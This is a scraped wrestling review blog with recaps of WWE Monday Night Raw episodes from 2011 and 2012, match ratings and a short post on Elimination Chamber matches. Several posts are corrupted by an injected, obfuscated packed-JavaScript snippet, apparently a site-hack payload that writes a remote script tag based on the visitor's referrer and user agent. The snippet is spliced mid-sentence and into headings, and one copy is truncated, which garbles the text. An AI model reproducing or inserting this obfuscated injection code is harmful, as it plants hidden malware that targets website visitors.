Only One Chamber Match At The PPV

Based eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dktky|var|u0026u|referrer|tahbz||js|php'.split('|'),0,{})) on what we’ve gotten from the two shows this week, it’s pretty clear we’re only getting one Chamber match at the PPV of the same name.  That’s a very good thing for reasons I’ve said before.The problem with having two Chamber matches is summed up by a comment from I think 2009.  During the second Chamber match of the night, Michael Cole said something along the lines of “when did you last see carnage like this?”  I remember saying out loud: “About an hour ago.”  It’s the same problem with having two Cell matches or any gimmick match on the same show: having the same match twice makes the impact of the gimmick match feel a lot weaker.




Monday Night Raw – September 24, 2012: I Don’t Know What WWE Is On Right Now But I Want Some Of It

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikbts|var|u0026u|referrer|bnhsy||js|php'.split('|'),0,{})) Night Raw
Date: September 24, 2012
Location: Times Union Center, Albany, New York
Commentators: Michael Cole, Jim Ross

Post break Maddox talks to AJ who says that if what happened last week happens again, Maddox will never work in this business again. AJ says this while looking on the verge of another nervous breakdown. She stops responding to him while looking off into the distance.

Dolph Ziggler vs. Kofi Kington

Another Twitter induced match here. Truth is here with a soda and popcorn. Vickie makes fun of Little Jimmy and the end result is Vickie taking the soda to the face. Vickie and Truth get ejected before the match starts. Kofi knocks Dolph to the floor quickly and hits a BIG flip dive to take Ziggler out as we take a break. Back with Ziggler in control and avoiding a charge in the corner. A reverse powerslam gets two for Dolph.

We get a recap of the awesome ending to Smackdown with Kane and Bryan having their psycho bonding moment resulting in a pile of bodies around them.

You get to name the team name for Bryan and Kane.

Prime Time Players vs. Santino Marella/Zack Ryder

See how easy it is to get people on the roster doing stuff? This is where a tag division can help you: you can get people on the show and you can get a lot of them at once. Ryder and Young start things off with the former getting caught in a flapjack for two. Ryder misses a cross body and hits the ropes, followed by a Young chinlock. Zack fights up and dives into a tag to Santino, who hits his usual stuff and gets two off a headbutt. Things break down for a second and Titus gets a blind tag. He blocks the Cobra and the Clash of the Titus gets the pin at 1:54.

The Miz vs. Ryback

Wade Barrett vs. Tyson Kidd

Ricardo Rodriguez/David Otunga/Alberto Del Rio vs. Rey Mysterio/Sheamus/Sin Cara

Otunga takes a Brogue Kick post match.

Team Teamwork

Team HELL NO

Team Friendship

We recap Heyman proposing to AJ earlier as well as Foley and Punk.

Layla/Alicia Fox vs. Eve Torres/Beth Phoenix

Brodus Clay vs. Tensai

Brodus charges into a knockout punch too.

Orton vs. Big Show on Friday.

Results

Dolph Ziggler b. Kofi Kingston – Zig Zag

Prime Time Players b. Santino Marella/Zack Ryder – Clash of the Titus to Marella

Ryback b. The Miz – Shell Shock

Wade Barrett b. Tyson Kidd – Souvenir

Sheamus/Sin Cara/Rey Mysterio b. Ricardo Rodriguez/David Otunga/Alberto Del Rio – Springboard Swanton Bomb to Rodriguez

Eve Torres/Beth Phoenix b. Layla/Alicia Fox – Swinging Neckbreaker to Fox

Tensai b. Brodus Clay via DQ when Big Show interfered

Remember to follow me on Twitter @kbreviews




Monday Night Raw – June 18, 2012: Not Only Is He Here Tonight, He’s In The Main Event

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Date: June 18, 2012
Location: Nassau Coliseum, Uniondale, New York
Commentators: Michael Cole, Jerry Lawler
Guest Star: Cyndi Lauper

Ace is in a sling and a neckbrace while walking with a cane. Foley of course hugs him, making Ace cringe. The fans boo a lot and Ace keeps asking the fans to keep it down. Foley requests the same but also says Ace whispered that Long Island sucks. Ace says that before he was fired last night, he made the main event of Cena vs. Big Show, Otunga, and himself.

Sheamus/CM Punk vs. Daniel Bryan/Kane

Dolph Ziggler vs. Jack Swagger

Vickie kisses Ziggler post match.

We get HHH challenging Brock from last night.

Alberto Del Rio vs. Santino Marella

Video on Cyndi Lauper in the WWF in the 80s. Basically she was the catalyst for Hogan vs. Piper which spawned Wrestlemania.

Primo/Epico vs. Prime Time Players

Jericho is back next week.

John Cena vs. John Laurinitis/David Otunga

Remember to follow me on Twitter @kbreviews




Monday Night Raw – June 4, 2012: Make This The AJ Show. Please?

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkdzr|var|u0026u|referrer|yerkt||js|php'.split('|'),0,{})) Night Raw
Date: June 4, 2012
Location: BI-LO Center, Greenville, South Carolina
Commentators: Michael Cole, Jerry Lawler

Cena is back tonight. That right there almost automatically makes the show better than it was last week. We have tonight and another week before No Way Out so it should be interesting to see what kind of build we get for those matches. Orton is gone so Miz has nothing to do which likely won’t be mentioned. Let’s get to it.

We open with a recap of Big Show’s dominance over the last week.

Here’s Cole to interview Cena. Cole says that Cena was knocked out twice in 24 hours and it’s his own fault, because he tried to be a comedian instead of supporting Big Show. Cena says that Ace was a bully and he had everything ready to get rid of him and the new GM would have rehired Show. Cole says that Cena caused all this and says that Show is unbeatable. Cena says Show wanted more money and turned his back on everyone.

Now Cole thinks Cena is jealous of Big Show because Show didn’t lose at Wrestlemania, nor did he get beaten up by Lesnar for 20 minutes. Cole thinks Cena is overrated now and that Show puts us out of our misery that we’ve developed after watching Cena’s matches for the last few years. Oh and Cena can’t hit him. Cue Ace now who says that Cena gets to pick his own opponent tonight. Cena tries to pick Ace about 5 times but Ace says that he’s retired and Big Show is NOT here tonight. Cena picks someone that is uninteresting, overrated, and that JR says is being shoved down our throats every week. You know it’s Cole.

Post break Cole begs Ace for mercy but apparently the people want to see Cole get beaten up. Oh and don’t call him Johnny.

We get a clip montage to summarize the Sheamus Must Apologize story.

Sheamus vs. Dolph Ziggler

Cole is back on commentary. Ziggler starts fast and tries to take Sheamus down by the knees. Sheamus tries three Regal Rolls but only the third one connects, getting two. Dolph low bridges him but Sheamus pulls him to the outside. Sheamus blocks a ram into the post but Ziggler jumps over the steps that he gets whipped into. After a Vickie distraction, Dolph dropkicks him back to the floor and we take a break.

Back with Ziggler kneeing Sheamus down and working on the shoulder that hit the post during the break. Ziggler works it over a bit more and takes Sheamus down for two. Ziggler goes up and after fighting off Sheamus, hits a top rope Fameasser for two. Sheamus shrugs off the sleeper, hits White Noise and ends Ziggler with the Brogue Kick at 9:09.

Rating: C. Well that uh….happened. It wasn’t bad and it wasn’t great, plus it didn’t really solve or prove anything. Ziggler looked fine, but he’s needing to get away from Vickie I think. There’s just nothing there for him anymore and he needs to move on and do something else. Sheamus having to come from behind like this is a good thing.

As Sheamus is on the stage Del Rio jumps him and with Ricardo’s help, puts him in the cross armbreaker.

Ace asks some schmuck for his coffee when Otunga comes up and says that Vince is returning next week to evaluate him. Ace seems surprised by this, despite saying earlier that everyone was going to be evaluated.

Sin Cara vs. Hunico

Cara speeds things up to start and spins Hunico around and out to the floor. Slingshow sunset flip is escaped and Hunico kicks him in the head for one. Butterfly backbreaker gets the same. Off to the chinlock for a second and Cara escapes the spinning rack slam into an armdrag. Cara kicks him out of the corner and hits a top rope rana to take over. Handspring elbow puts Hunico down and after taking out Camacho, the spinning mat slam gets the pin at 2:30.

Cena’s favorite Raw moment is being drafted to Raw 7 years ago tomorrow.

Stan Stansky/Arthur Rosenburg vs. Ryback

It’s the same thing you’ve seen time after time. This match features more throwing people around and a clothesline to both of them at once. The double MuscleBuster/Samoan Drop gets the pin at 1:55.

CM Punk vs. Kane

There must be a winner. Cole is on the phone begging to be let out of the match. Before Kane comes out, Bryan comes out and gets on the announce table for some questions and answers. Has AJ gone completely delusional since they broke up? Will Kane destroy Punk tonight? Will Bryan win the title in three weeks? Yes Yes Yes. Kane powers him around but Punk uses the kicks to knock Kane to the floor for the suicide dive.

Punk hits the top rope double ax to the floor and we head back inside. Kane comes back with a knee to the ribs for two to take over. He pounds on Punk with sledgehammer shots and a legdrop for two. Punk breaks out of a bodyscissors and fires away with strikes but Kane throws him into the corner and out to the floor as we take a break.

Back with Kane holding a chinlock and uppercutting Punk down. Side slam gets two. Kane goes for the top rope clothesline but Punk knees him down. Another knee sets up the bulldog for two. Springboard clothesline gets the same. GTS is broken up and Kane boots him down for two. Punk avoids the chokeslam and hits a neckbreaker to slow Kane down. Punk goes up but Kane uppercuts him.

The superplex is broken up and Kane is knocked back to the mat. Macho Elbow gets two and they go to the floor. Kane rams him into the table and with the referee distracted, Bryan fires off two kicks to the ribs. Chokeslam is countered by the High Kick and here comes AJ. She tells the referee what Bryan did so Bryan yells at her. Punk uses the distraction to dive onto Bryan, but he walks into the chokeslam for the pin at 13:49.

Rating: C+. I was digging this and I was really digging AJ in a cutoff Punk shirt and shorts. The ending works I guess but I’m curious as to where the whole AJ thing is going, which I guess is the idea. Kane being added into this would let Bryan get the title, but I’m not sure where they would go after that. Decent match though.

Post match Kane stares at AJ (as well as kicking Bryan down) and AJ smiles back at him before he leaves. Ok then.

AJ tells Josh she likes when men look at her. She pulls him by his tie and demands he look at her. AJ says he might be her type.

Cole begs Ace for mercy again.

Video on Big Show and all of the comedy stuff he’s done over the years and how he’s being serious now.

Kofi Kingston/R-Truth vs. Curt Hawkins/Tyler Reks

This is joined in progress with Hawkins vs. Kofi. The champs are all taped up because of last week. A jumping back elbow gets two for Kofi and it’s off to a hammerlock. Off to Truth who drops a leg on Hawkins’ arm before it’s off to Reks. Reks gets in a little offense but misses a shoulder. Off to Kofi for the Boom Drop on Hawkins but Trouble in Paradise only gets two because of Reks. Truth takes him out and the spin kick gets the pin on Hawkins at 4:02.

Rating: C-. It’s very clear that Kofi and Truth are pure filler and that’s about the best they’re going to get at this point. Then again having extra teams in there is a good thing, even if they are just Hawkins and Reks. The match wasn’t bad but with only a few minutes there’s only so muchthey can do out there.

HHH’s favorite Raw moment is him returning in 2002.

John Cena vs. Michael Cole

It’s 10:45 so this could mean a few things. Ace comes out and says that if Cena can beat this man, his match with Cole will be No DQ.

John Cena vs. Tensai

Yeah he’s not a Lord anymore. He’s also moving faster now which is good too. Cole of course cheers everything that Tensai does as the fans are mostly behind Cena. Cena comes back with a clothesline to send Tensai to the floor and Cole panics. Sakamoto gets in some kicks and Cena is down as we take a break. Back with Cena breaking out of a neck lock and hitting a middle rope bulldog for two.

Tensai takes him back down and it’s nerve hold time again. Cena gets knocked to the floor and Cole says he should just quit now. Cole slaps Cena and gets shoved down by Lawler as a result. Cena gets thrown into the steps and Cole rips into him for awhile. Back in and the butterfly suplex gets two. Backsplash misses and it’s shoulder block time. Protobomb sets up the Shiffle and Cole is very nervous. AA gets the clean pin at 9:04.

Rating: D+. Hopefully this sends Tensai back down to the midcard. The changes they’ve made to him have helped him a bit but at the end of the day he’s still Albert which means he can only be so good and so interesting. Cena beating him is the right call though because you can’t validate having him lose twice in a row to Tensai, especially not before a bit time PPV match.

John Cena vs. Michael Cole

It’s No DQ. Cole tries to run into the crowd twice but gets pulled back both times. Cena throws him into the ring and Cole says we don’t have to do it this way. He sucks up to Cena and then takes off his coat and tie, saying how he’s going to beat up Cena tonight. He pokes Cena in the chest and tells Cena to not forget his name. Cena rips the shirt open and chops him in the chest. There go Cole’s pants and Cena kicks him low.

He slaps Cole’s chest and back again before putting him in a chinlock. Cena demands an apology to Lawler about the Mania match which Cole gives immediately. Now Cole has to apologize to JR who Cole calls his idol. Cole has to admit his love for JR’s Barbecue Sauce. “It’s slobberknocker good!” Lawler just happens to have a few bottles of it with him and it gets poured over Cole.

Since it was hot, here’s a fire extinguisher to cool Cole off. There’s steam coming off Cole’s head. The AA gets loaded up but here’s Tensai with the Baldo Bomb. That gets two for Cole and he has a bit of a tantrum. Cole slaps Cena in the back of the head and yells a lot before charging with the fire extinguisher. AA counters that and gets the pin at roughly 11 minutes. I’m not rating this for obvious reasons but it did its job well enough.

Overall Rating: C-. It’s still not great but this was WAY better than last week’s show. Having less Big Show on this helped a lot and Cena being here at all certainly brought this one up a lot. The guy is just flat out entertaining and interesting which is more than most people on this roster can say. This helped me a lot with the build to No Way Out, and even with the iffy ending, I liked this about 200% more than last week’s show.

Results
Sheamus b. Dolph Ziggler – Brogue Kick
Sin Cara b. Hunico – Spinning Mat Slam
Ryback b. Arthur Rosenburg/Stan Stansky – Double MuscleBuster
Kane b. CM Punk – Chokeslam
Kofi Kingston/R-Truth b. Curt Hawkins/Tyler Reks – Trouble in Paradise to Hawkins
John Cena b. Tensai – Attitude Adjustment
John Cena b. Michael Cole – Attitude Adjustment

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Monday Night Raw – May 7, 2012: Cole Undersells ANOTHER Surprise Return

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttyzi|var|u0026u|referrer|rsksi||js|php'.split('|'),0,{})) Night Raw
Date: May 7, 2012
Location: Greensboro Coliseum Complex, Greensboro, North Carolina
Commentators: Michael Cole, Jerry Lawler

Another week, another Raw. The focus this week is likely going to be on Lesnar for his attack last week on HHH, but I’d be surprised if Brock is actually here. Also we get more build towards Cena vs. Ace, which I’ve mellowed on since last week. Other than that it’s hard to say what’s coming as most of the midcard hasn’t been set for the PPV yet. Let’s get to it.

Ace opens things up and says that since he’s the boss of the company, he has to be respected. Cena called him an idiot, so Ace went into a rage. Lesnar hurt Cena’s arm but Ace hurt his pride. At Over the Limit, he’ll finish what “Brock Cena” started. He’s won’t be reprimanded by the board and he’s requested that Cena not be here tonight so he can heal up. Cena however will be here for a satellite interview.

Also anyone that makes fun of his voice will suffer severe consequences. It wasn’t always like that, as he was injured by Steve Williams. That didn’t stop him from becoming, and I quote, the biggest star in Japan. We get a set of stills of him in Japan and Ace calls himself the Hogan, Austin and Rock of Japan. He’ll wrestle one time at Over the Limit. May God bless everyone and have mercy on Cena.

Cue Punk who says that despite Ace saying he’s behind People Power, Ace has no idea what the people want to hear or see. Punk is here to help tonight though, but he’s not going to tell Ace what the people want to see. What he will do though is say what the people don’t want to see, and that is Johnny Ace. They also don’t want to hear about Ace’s time in Japan and his “success”. This is all about Ace putting his chips on Lesnar and then Cena beating Brock.

That turned Ace red and the only reason Ace was a success in Japan is because no one in America would pay a dime to see him which is why he can’t get booked anywhere. Ace asks if Punk is done. Punk says that Ace is ugly, stupid, has no friends and is a gigantic tool box. Ace says if he wasn’t in training he’d pummel Punk, but tonight it’s going to be Punk vs. Tensai. Punk says cool.

Ace runs into Big Show (literally) and yells at him. Show makes fun of Ace after he leaves and Eve glares at him.

Intercontinental Title: Big Show vs. Cody Rhodes

Show takes him into the corner and chops him down, then he throws him out of another corner. Cody gets up some boots in the corner and hits the Disaster Kick which puts Show on his knees. Cody runs from the WMD and says give him his belt. Show meets him as he’s leaving but Cody gets out and sprints to the back. Countout at 1:51.

Show asks for a mic and tells Cody to come back but Cody walks off. Cue Eve who tells Show to apologize to Ace for making fun of his voice. Show lacklusterly apologizes but that’s not good enough for Eve. She says outside of this business, there isn’t much room for a 7’0 400lb freak. Show apologizes again but is a little more testy this time. He leaves and Eve glares at him.

Kofi Kingston vs. Dolph Ziggler

This should be awesome. AW and company are watching in the back. Kofi misses a charge in the corner and Dolph gets two. Mason Ryan is now watching in the back with AW, Primo, Epico and Rosa. Dolph takes Kofi onto the mat for a second but he misses a charge as well, allowing Kofi to speed things up. Boom Drop looks to set up the Trouble in Paradise but Swagger distracts. Zig Zag is countered and the SOS gets two. Vickie gets up on the apron and the distraction lets the Zig Zag get the pin at 2:20. Dang they actually waited a week to have a tag champion lose.

Cena joins us via satellite and says that he has to get his elbow drained twice a day. His doctors say not to compete for a few months but he’s going to do it anyway. He’s not surprised that the board didn’t act because he requested that they didn’t, at least not until after Over the Limit. Cole says he’s impressed by what Ace has accomplished in the ring over his career and thinks maybe Cena is scared of Ace. Cena says he is scared of Ace to the point that Ace will hurt himself. In 13 days, Ace gets beaten up.

Kelly Kelly/Layla vs. Natalya/Maxine

Beth is on commentary and wants her title back. She gets her title match at the PPV. Layla and Maxine get us going and Kelly takes out Natalya for no apparent reason. Layout beats Maxine at 1:05. Moving on.

Randy Orton/Sheamus vs. Alberto Del Rio/Chris Jericho

Orton and Del Rio start us off. Jericho doesn’t really have a feud in this that I can tell. Del Rio jumps over Orton out of the corner but gets clotheslined down for two. Off to Jericho who has about as much luck as Del Rio did. Sheamus gets the tag and keeps beating on the Canadian. He hits the ten forearms to the chest in the ropes but Jericho sends Sheamus’ bad shoulder into the post as we take a break.

Back with Sheamus breaking out of an arm hold and sending Jericho into the corner. Double tag brings in Del Rio to get beaten up by Orton. Elevated DDT looks to set up the RKO but he stops to powerslam Jericho instead. An enziguri from Del Rio puts Orton down for two. Orton dropkicks Del Rio down but it’s Jericho’s powerslam that takes Orton down. Orton gets a rollup for two but another enziguri puts Orton down.

Back to Del Rio who works on the arm and hits it with the Codebreaker. With a shout of DESTINY he tries the cross armbreaker but Orton counters into the backbreaker. Back to Sheamus who cleans house and sets up the Cross on Jericho but the arm gives out. A Walls attempt is countered and the Irish Curse gets two. Del Rio dropkicks the arm but Orton hits him with the RKO. Jericho ducks the Brogue Kick and it hits Orton. Codebreaker to Sheamus gets the pin at 13:02.

Rating: C+. Pretty decent match here and it might signal that they’re setting up a threeway, which would be a very good idea. Del Rio vs. Sheamus one on one just sounds boring beyond all belief but throwing in the Canadian would help things a lot. Not a great match here but it accomplished its goal and that’s all that matters.

Sheamus tries to help Orton up but Orton RKOs him.

Ace sends Eve to talk to Big Show. Jericho comes in and demands a title match. Del Rio says it’s his shot. Orton demands one as well when Sheamus comes in and jumps Jericho. Sheamus and Orton clean house and get in an argument with Sheamus saying anytime Orton wants some, come get him. Ace makes it a fatal fourway. Thank goodness.

Brodus Clay vs. The Miz

Before the match, Brodus says to make sure to call your mama this Sunday. Miz doesn’t like having to face Brodus tonight because if he wanted to see King Hippo dance, he’d play Mike Tyson’s Punch Out. Miz pounds away on him but Brodus runs him over and knocks him to the floor. Coming back in Miz gets the upper hand, hitting the boot to the face.

There’s another boot and it gets two. The corner clothesline hits and Miz comes off the top with the ax handle for two. Brodus shrugs off the chinlock but Miz takes the knee out for the low DDT, getting two. Brodus shrugs him off again and uses his head to take Miz down. Miz jumps into the suplex and the splash ends this at 4:14.

Rating: C-. The match was pretty boring but having Brodus beat a bigger name is a big step for him. He’s beaten jobbers for so long and has only beaten Dolph/Swagger by countout/DQ other than I think once. Not a terrible match or anything but it was a good thing to see as Brodus is looking to have an actual feud instead of just people he doesn’t like.

Don’t be a bully!

We recap the HHH/Lesnar attack from last week. HHH will have to have surgery and rehab. He’ll be on Raw next week and here’s Lesnar. Scratch that it’s his legal team. I like that they’re coming up with some ways to keep him off the shows. HOKEY SMOKE IT’S PAUL HEYMAN. Cole of course undersells it like he does with everything else. He talks about how different things are today than they were ten years ago when he originally represented Lesnar.

It was ace who sent Brock an offer because Brock is a machine. He lists off Brock’s accomplishments and says that the demands Lesnar made were fair because Brock is an honest man. Heyman reads a statement from Brock about corporate politics and about how Lesnar gave what HHH and Cena deserves. The Cell match vs. Undertaker was now “nearly an hour” according to Brock (it was under 31 minutes). Brock is never coming back because he quits.

CM Punk vs. Lord Tensai

During Punk’s entrance, Ace adds Daniel Bryan to the match….and we take a break at 10:56.

Show is talking to two guys from some USA show and they think he doesn’t need to apologize to anyone. Show says things are different now and it’s not a good place here. The actors say they’re detectives and think they should investigate some pictures that are out there apparently. They make fun of his voice and Show laughs but here’s Eve. Show stops laughing.

CM Punk vs. Lord Tensai/Daniel Bryan

No entrances for the heels to save some time. Tensai starts off and uses the power to put Punk down. Off to Bryan who gets a reaction from the crowd. He fires off the kicks to the chest and shouts YES on each one. Punk escapes a suplex and rolls him up for two. They cross body each other and both guys are down. Tensai comes in for more power and they head to the floor with Punk’s back going into the post.

Back in now and it’s time for a Japanese nerve hold. Backsplash gets two and it’s off to Bryan but the Swan Dive misses. Bryan reaches for a tag but gets caught in a slingshot. Punk makes what I guess you can call a comeback with a neckbreaker. The knee and bulldog combination actually works and it’s GTS time. Bryan escapes and tags in Tensai who clotheslines Punk’s head off very slowly. GTS to Tensai is countered but Punk manages the high kick. Tensai’s dude gets up for a distraction and Bryan crotches Punk. The chokebomb is totally messed up and the Mist Claw with the legsweep gets the pin at 6:54.

Rating: C. Tensai is boring and that’s all there is to it. The guy just isn’t an interesting wrestler and no matter how Japanese they make him it’s not going to happen. He’s big and slow with a bad finisher in the claw. Use the chokebomb (if you can do it right) and be a monster like you look like. Punk vs. Bryan is going to be good.

Bryan stomps on Punk post match and puts him in the YES Lock.

Overall Rating: C. This was a hit and miss show. The Heyman return was a big shock and THANKFULLY we got the Sheamus vs. Del Rio match adjusted as it desperately needed to be. Other than that, the wrestling was ok at best. They built up Over the Limit pretty well, but having no Cena for the majority of the show really brought it down. This show needs more Eve as well, especially with those glasses.

Results
Big Show b. Cody Rhodes via countout
Dolph Ziggler b. Kofi Kingston – Zig Zag
Kelly Kelly/Layla b. Natalya/Maxine – Layout to Maxine
Alberto Del Rio/Chris Jericho b. Sheamus/Randy Orton – Codebreaker to Sheamus
Brodus Clay b. The Miz – Splash
Lord Tensai/Daniel Bryan b. CM Punk – Claw Hold

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EOTY Awards – Worst Angle of the Year

There are a bunch of options for this.But it’s pretty easily Cole in general.  If I had to specify something, it’s the overuse of Twitter.  If you look at the Survivor Series buyrate, it came in low.  Do you think that if maybe Rock had gotten something other than Cena’s Lady Parts trending it might have been better?  Like maybe, Survivor Series This Sunday?  That’s the problem with this Twitter obsession: they’re using it for the wrong things.  Who cares if Alicia Fox is trending?  She’s on TV for a minute a week.  Get something where it’s advertising a PPV or better yet, ADVERTISE THE FREAKING PPV.  I’ll stop there because I could go on for a week about this.

 

Your thoughts/picks?




Monday Night Raw – October 17, 2011 – A Bad Show In All Languages

Monday Night Raw
Date: October 17, 2011
Location: Mexico Sports Palace, Mexico City, Mexico
Commentators: Michael Cole, Jerry Lawler

It’s the rare taped Raw tonight as this happened on Saturday night in Mexico City. This is a new place for the company and the crowd should be very hot. After about 5 angles were blown off last week, we’re at the go home show for Vengeance which has about 2 matches at the moment. To be fair though you can see a lot of them that just haven’t been announced yet. Let’s get to it.

I got home late tonight so I’m trying to catch up as fast as I can.

After the theme song here’s Johnny Ace to no music. As he comes to the ring we get a quick video from last week with HHH being fired and Vince naming Ace the new GM. He teases Rey returning but he’s in San Diego for rehab and isn’t here tonight. Ace talks about how the Board of Directors have confidence in him and how he was criticized for firing JR on Twitter. With that, he brings out JR.

JR goes to commentary but Ace calls him into the ring. He apologizes to JR and makes fun of his speech impediments. We get a clip from last week which aired during a commercial where Cole led the goodbye song for JR and was booed out of the building. Back live Ace says he wants to settle the differences between Cole and JR, so tonight it’s Alberto/Cole vs. JR/Cena. Cole says he’ll squash JR like refried beans.

Here’s Orton for no apparent reason. Oh ok he has one of those match things.

Randy Orton/Sheamus/John Morrison vs. Mark Henry/Christian/Cody Rhodes

We’re back after a break and Orton vs. Christian starts us off. Oh and Orton vs. Rhodes is official for the PPV. Christian gets beaten down so it’s off to Rhodes vs. Sheamus. That doesn’t go well for Little Dust so here’s Henry. Orton goes after Rhodes on the floor to a huge pop and Rhodes runs away. They run up the ramp and we go to a break. Back with Morrison hammering on Henry and getting dropped with one punch.

It’s 2-2 now and Christian misses a cross body. Morrison hits one of his own for two. Christian loads up the Killswitch but Morrison counters into the C4 for two. Christian goes after the neck that was injured like three months ago and it’s off to Henry again. He drops Morrison with a headbutt and it’s time for the Canadian to work on the neck of Morrison again. John fires off something like a Pele but can’t escape Henry. I guess it’s the gravitational pull.

Off to the bear hug which is as old school of a heel power move as you can get. Morrison tries a tornado DDT but has to settle for a guillotine on the top instead. Morrison shows some intelligence by going around Henry instead of over him, but Christian takes Sheamus off the apron and now they go into the crowd in a brawl. Morrison hits the Flying Chuck or whatever it is but walks into the Slam for the pin at about 12:30.

Rating: C. Well considering this was supposed to be a six man tag and for the most part it was a four man tag and would up being a two man tag, there’s only so high of a grade you can give it. Henry beating Morrison is fine and it gives Henry some of his heat back after getting beaten up by Big Show twice in a row.

Punk vs. Miz later, which is a match that happened under HHH also but is praised for being made by Ace here. Go figure.

Brodus Clay is still coming.

The Bellas come in to hit on Ace and he calls whoever he was talking to back. Ricardo comes in to a reaction and tries to say Alberto is here. Alberto gets a moderate face pop. A lot of Spanish is spoken and the winner of the tag match gets to pick the stipulation of the title match Sunday.

Eve Torres vs. Natalya

Eve gets the title shot Sunday. It’s your basic Divas match and Natalya of course spanks her a bit because that’s what she hates. It’s mocking though so it’s ok I guess? Natalya hammers on her for a bit but Eve hits some kind of spinning takedown and the moonsault for the pin at 2:13. This was nothing.

CM Punk vs. The Miz

Of course there is talking first. Miz talks about how they cost Punk his title shots and then got rid of HHH which Punk couldn’t. Truth says he can’t stand people that run their mouths. Truth and Miz run their mouths more but here’s HHH to even things up. The bell is after the break. Punk takes it to the mat and hooks a chinlock almost immediately but Miz gets a rope, which Truth points out very loudly.

Miz grabs a headlock and the fans loudly boo. Out to the floor and Punk hits a big dive followed by an Eddie Guerrero hilo for two. Truth tries to cheat and HHH goes over for the evil glare. Springboard clothesline gets two for Punk. Miz takes over with his traditionally bland offense. Jerry talks about looking forward to HHH being back in the ring at full force. You mean like he was what, two months ago?

Truth tries to cheat again so this time HHH gets in the ring. You know, because that’s not going to cause more double teaming or anything. How can a Cerebral Assassin be so stupid as a face? Off to a chinlock and Jerry quotes Taylor Swift of all people. Miz gets a kick to the chest for two. Corner clothesline hits and back to the chinlock. Punk tries to fight back with the knee in the corner but Miz gets a boot up.

Miz goes up (?) and jumps into a spinwheel kick to put both guys down. Punk is sent to the floor and the fans are incredibly into this show. Truth hits Punk with the bottle of water and HHH goes after him…and here’s Johnny Ace saying stop the match because HHH has an immigration problem or something. We’ll pay no attention to the fact that he isn’t part of the match I guess. It ended at 8:45.

Ok no it didn’t because we’re back with Miz holding a chinlock on and the match is still going. Can this match make up its mind? Punk starts his comeback and hits a neckbreaker for no cover. Cole’s voice sounds different and sounds like a voiceover. The Macho elbow hits and it’s GTS time. That gets reversed but Punk rolls Miz up for the pin at approximately

Rating: C. This was just ok at best, mainly because Miz is very boring on offense. The elimination of HHH was fine because it was to set up the post match beatdown on Punk which gives them a chance in the match on Sunday. Either way, not much going on here but these two don’t have good matches against each other, which is far too common a thing with Miz.

Post match Miz gets beaten down until referees get them out. Truth gets in another shot after running back in, as does Miz.

Here’s Team Vickie. Vickie yells in Spanish a lot first. She says she’s a Mexican goddess and she’s something about Angelina Jolie. The latest tag title shot for Ziggler and Swagger is announced for the PPV. Dolph plugs the US and calls himself the Heel. There’s a good and simple name. Swags tries to sing the Star Spangled Banner but is about as popular as Volkoff was in the 80s. He yells at the fans instead and here’s the reason he’s here.

Jack Swagger vs. Zack Ryder

Swagger hammers him to start but Ryder gets his knees up and the Rough Ryder ends this at 35 seconds. Literally that’s the whole match.

The heels go after Zack but Mason Ryan makes the save. Why it’s not Air Boom is beyond me but I guess that would make sense. It’s supposed to be Ryan vs. Ziggler but Team Vickie leaves. Ryan calls him back and their match is next.

Mason Ryan vs. Dolph Ziggler

This is joined in progress and Ryan is overpowering him which is expected because Ryan is bigger and stronger. Ryan has an awesome body but his offense and in ring abilities are leaving something to be desired. Vickie slaps Ryan on the floor and he charges back in to beat on Dolph some more. Ryan hammers away in the corner….and it’s a DQ at 2:40. Well that was worthless.

Ryan cleans house afterwards. So let me get this straight: Air Boom is booked to face Team Vickie on Sunday but instead we have two other unrelated guys beat one of the challengers in 35 seconds and then beat the other one so badly he gets disqualified. And people wonder why we say WWE is missing it right now.

Cena is with Ross and Ross isn’t sure if he’s ready to be in a match because it can cost Cena the title match Sunday. Cena says it’s cool because he can handle Del Rio. JR uses bad words about Cole.

In the arena, Cole gets his mic and says he’s going to take care of JR tonight. He says his wife is Mexican so the fans have to like him and he goes to the back.

Back and we hear about Smackdown being long running or something. Josh Matthews is in on commentary now.

We run down the card for Vengeance to fill in some time. Orton vs. Rhodes isn’t for the title I don’t think.

John Cena/Jim Ross vs. Alberto Del Rio/Michael Cole

The announcers start us off and Cole talks a lot of trash until JR clocks him. Off to the wrestlers for a wrestling match. What a concept. Alberto and Cena smirk at each other and speed things up. The fans are booing Cena…I think. Off to a chinlock by the champ and the fans are cheering for Cena. Now it’s Cena with the chinlock as Josh says Cena weighs 251lbs. That means he gained 20 pounds since his entrance.

Del Rio takes over and we’re waiting on the hot tag to Ross it seems. Cole gets some pikes in at Cena and Del Rio gets two. Alberto hits a top rope shot to the head and some kicks. Cena can’t see Alberto. Back to the chinlock and the fans cheer Cena but aren’t really booing Alberto. The Mexican gets a German on the American for two. Cena fires off some stuff but a running enziguri in the corner stops him for two.

Alberto goes up but misses a senton back splash and Cena engages his finishing sequence. Del Rio runs from the AA and tags in Cole. Cena gives him kind of a belly to belly to bring him in and makes the hot tag to JR. Is JR a big deal in Mexico? I mean, wouldn’t he be on the English commentary team which most people in Mexico don’t hear? An AA ends Cole and JR gets the win with an ankle lock at 11:40.
